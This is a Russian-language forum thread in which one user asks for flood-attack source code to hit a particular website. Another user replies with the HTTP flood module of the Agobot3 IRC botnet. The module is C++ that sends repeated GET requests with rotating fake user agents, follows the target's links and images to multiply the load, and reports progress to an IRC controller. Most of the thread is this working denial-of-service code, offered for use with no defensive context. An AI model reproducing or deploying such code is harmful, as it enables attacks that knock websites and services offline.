Код HTTP flood, tcp/udp

Предыдущие сообщения
12 июня 2014
#1 MAS uid#3745 Привет, кто может поделиться исходником HTTP flood, или tcp, или udp- код нужен на delphi7 или fasm или masm32, ну на крайний случай можно visual с++ или любое что у вас есть, нужен такой код-что бы при запуске прога начала отправлять запросы на определенный сайт сразу. 11:05:24 0
#2 REVERSE_ME uid#6257 наркоман что-ли? В гугле есть примеры, их полно. Как минимум очень много статей про писанину говноботов, из всех статей и исходников можно хоть собственного бота сговнокодить, не то что флудилку выпилить... 00:48:04 0
14 июня 2014
#3 MAS uid#3745 Да знаю я, умник, но в кодах ошибки, в этом я плохо разбираюсь. Ты можешь помочь нет? 12:28:37 0
#4 REVERSE_ME uid#6257 MAS, твой уровень беспомощности - бог, есть ошибки - исправь, ты же ничего нормального не сделаешь, копируя чужие исходники.
httpflood.cpp
#include "main.h"
#include "httpflood.h"
#include "mainctrl.h"
#include "utility.h"

char *g_szUserAgents[]={
	"FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)", 
	"Googlebot/2.1 (+http://www.googlebot.com/bot.html)", 
	"Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/0.8.6", 
	"Microsoft-WebDAV-MiniRedir/5.1.2600", 
	"Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)", 
	"Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)", 
	"Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)", 
	"Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)", 
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows  NT 5.1; Q312461)", 
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; H010818; AT&T CSM6.0)", 
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)", 
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)", 
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", 
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)", 
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705)", 
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; .NET CLR 1.1.4322)", 
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt)", 
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; (R1 1.3); .NET CLR 1.1.4322)", 
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.1.0)", 
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ODI3 Navigator)", 
	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461)", 
	"Mozilla/4.0 compatible ZyBorg/1.0 ([email protected]; http://www.WISEnutbot.com)", 
	"Mozilla/4.75 [en]", 
	"Mozilla/5.0 (Slurp/cat; [email protected]; http://www.inktomi.com/slurp.html)", 
	"Mozilla/5.0 (Slurp/si; [email protected]; http://www.inktomi.com/slurp.html)", 
	"Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5) Gecko/20031007", 
	"Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20030718", 
	"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1", 
	"Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.5) Gecko/20031021", 
	"Scooter/3.2", 
	"Wget/1.7", 
	"Wget/1.8.2", 
	"pxys/1.9.4",
	NULL };

CDDOSHTTPFlood::CDDOSHTTPFlood() { m_sDDOSName.Assign("httpflood"); }

CString DoHTTPRequest(const char *szRequest, url &uURL)
{	int sSocket, d;
	
	sSocket=DoTcpConnect(uURL.sHost.CStr(), uURL.iPort);
	if(sSocket==SOCKET_ERROR) return CString("");

	xWrite(sSocket, szRequest, strlen(szRequest));
	
	char szBuf[4096]; CString sReply("");
	while(true)
	{	int i; if((i=xRead(sSocket,szBuf,4096))<=0) break;
		if(i<4096) szBuf[i]=0; sReply.Append(szBuf);
		for(d=0;d<i;d++) if(!strncmp(szBuf+d,"\r\n\r\n",4))
		{	goto done_http; } }
done_http:
	while(true)
	{	int i; if((i=xRead(sSocket,szBuf,4096))<=0) break;
		if(i<4096) szBuf[i]=0; sReply.Append(szBuf); }

	xClose(sSocket); sSocket=SOCKET_ERROR;

	return sReply;
}

void CDDOSHTTPFlood::StartDDOS() {
	int iNumSent=0; url uURL; init_random();

	if(!ParseURL(m_sURL.CStr(), &uURL)) {
		g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), \
			"%s: failed to parse \"%s\".", m_sDDOSName.CStr(), m_sURL.CStr());
		return; }

	g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), \
		"%s: flooding %s port %u, %u times, %d ms delay.", m_sDDOSName.CStr(), \
		uURL.sHost.CStr(), uURL.iPort, m_iNumber, m_iDelay);

	int iNumUserAgents=0; while(g_szUserAgents[iNumUserAgents]) iNumUserAgents++; iNumUserAgents--;

	while(g_cMainCtrl.m_cDDOS.m_bDDOSing && iNumSent < m_iNumber) {
		int iUserAgent=brandom(0, iNumUserAgents);
		char *szUserAgent=g_szUserAgents[iUserAgent];
		CString sSendBuf;

		sSendBuf.Format("GET %s HTTP/1.1\r\nAccept: */*\r\nReferer: %s\r\nUser-Agent: %s\r\nHost: %s:%d\r\nConnection: Close\r\n\r\n", \
			uURL.sReq.CStr(), m_sReferrer.CStr(), szUserAgent, uURL.sHost.CStr(), uURL.iPort);

		CString sReply=DoHTTPRequest(sSendBuf.CStr(), uURL);

		while(m_bRecursive) {
			url uURLTemp; if(!sReply.Find('<')) break;
			CString sTemp=sReply.Mid(sReply.Find('<')); sReply=sTemp;
			CString sFullTag=sReply.Mid(0, (sReply.GetLength()-(sReply.GetLength()-sReply.Find('>')))-1);
			CString sTag=sFullTag.Token(0, " ");

			if(!sTag.CompareNoCase("meta") && sFullTag.Find("\"Refresh\"")) {
				CString sContent=sFullTag.Token(3, " ");
				sTemp=sContent.Mid(sContent.Find('=')); sContent=sTemp;
				sTemp=sContent.Mid(0, sContent.GetLength()-1); sContent=sTemp;
				CString sURL(sContent);

				if(ParseURL(sURL.CStr(), &uURLTemp)) {
					sSendBuf.Format("GET %s HTTP/1.1\r\nAccept: */*\r\nReferer: %s\r\nUser-Agent: %s\r\nHost: %s:%d\r\nConnection: Close\r\n\r\n", \
						uURLTemp.sReq.CStr(), m_sURL.CStr(), szUserAgent, uURLTemp.sHost.CStr(), uURLTemp.iPort);

					DoHTTPRequest(sSendBuf.CStr(), uURLTemp);
				}
			} else if(!sTag.CompareNoCase("a")) {
				int iCount=0; CString sToken(sFullTag.Token(iCount, " ").Token(0, "="));
				while(sToken.CompareNoCase("href") && sToken.Compare("")) {
					iCount++; sToken.Assign(sFullTag.Token(iCount, " ").Token(0, "="));
				}
				if(sToken.Compare("")) {
					CString sLink(sFullTag.Token(iCount, " ").Token(1, "=", true)), sURL;
					if(sLink[0]=='/')
						sURL.Format("http://%s:%d%s", uURL.sHost.CStr(), uURL.iPort, sLink.CStr());
					else if(sLink.Find("http://")) {
						sURL.Assign(sLink);
					} else {
						sURL.Format("http://%s:%d%s%s", uURL.sHost.CStr(), uURL.iPort, uURL.sReq.CStr(), sLink.CStr());
					}

					if(ParseURL(sURL.CStr(), &uURLTemp)) {
						sSendBuf.Format("GET %s HTTP/1.1\r\nAccept: */*\r\nReferer: %s\r\nUser-Agent: %s\r\nHost: %s:%d\r\nConnection: Close\r\n\r\n", \
							uURLTemp.sReq.CStr(), m_sURL.CStr(), szUserAgent, uURLTemp.sHost.CStr(), uURLTemp.iPort);

						DoHTTPRequest(sSendBuf.CStr(), uURLTemp);
					}
				}
			} else if(!sTag.CompareNoCase("img")) {
				int iCount=0; CString sToken(sFullTag.Token(iCount, " ").Token(0, "="));
				while(sToken.CompareNoCase("src") && sToken.Compare("")) {
					iCount++; sToken.Assign(sFullTag.Token(iCount, " ").Token(0, "="));
				}
				if(sToken.Compare("")) {
					CString sLink(sFullTag.Token(iCount, " ").Token(1, "=", true)), sURL;
					if(sLink[0]=='/')
						sURL.Format("http://%s:%d%s", uURL.sHost.CStr(), uURL.iPort, sLink.CStr());
					else if(sLink.Find("http://")) {
						sURL.Assign(sLink);
					} else {
						sURL.Format("http://%s:%d%s%s", uURL.sHost.CStr(), uURL.iPort, uURL.sReq.CStr(), sLink.CStr());
					}

					if(ParseURL(sURL.CStr(), &uURLTemp)) {
						sSendBuf.Format("GET %s HTTP/1.1\r\nAccept: */*\r\nReferer: %s\r\nUser-Agent: %s\r\nHost: %s:%d\r\nConnection: Close\r\n\r\n", \
							uURLTemp.sReq.CStr(), m_sURL.CStr(), szUserAgent, uURLTemp.sHost.CStr(), uURLTemp.iPort);

						DoHTTPRequest(sSendBuf.CStr(), uURLTemp);
					}
				}
			}
		}

		int iSleep; if(!m_iDelay) iSleep=brandom(3600000, 86400000); else iSleep=m_iDelay;

		Sleep(iSleep); iNumSent++; }
	
	g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), \
		"%s: finished flooding %s port %u", m_sDDOSName.CStr(), uURL.sHost.CStr(), uURL.iPort);
}
httpflood.h
/*	Agobot3 - a modular IRC bot for Win32 / Linux
	Copyright (C) 2003 Ago

	This program is free software; you can redistribute it and/or
	modify it under the terms of the GNU General Public License
	as published by the Free Software Foundation; either version 2
	of the License, or (at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA. */

#ifndef __HTTPFLOOD_H__
#define __HTTPFLOOD_H__

#include "cstring.h"
#include "ddos.h"

class CDDOSHTTPFlood : public CDDOSBase
{
public:
	CDDOSHTTPFlood();
	virtual void StartDDOS();
};

#endif // __HTTPFLOOD_H__
14:11:22 0
7 июля 2014
#5 MAS uid#3745 REVERSE_ME, я не копирую тупо исходники, из каждого исходника извлекаю пользу, ошибки исправляю, но в C. C++ не шарю. Спасибо 21:38:28 0
Следующие сообщения
*Ник: Проверка уникальности... Если вы уже зарегистрированы, авторизуйтесь.
*Сообщение:
  Загрузка...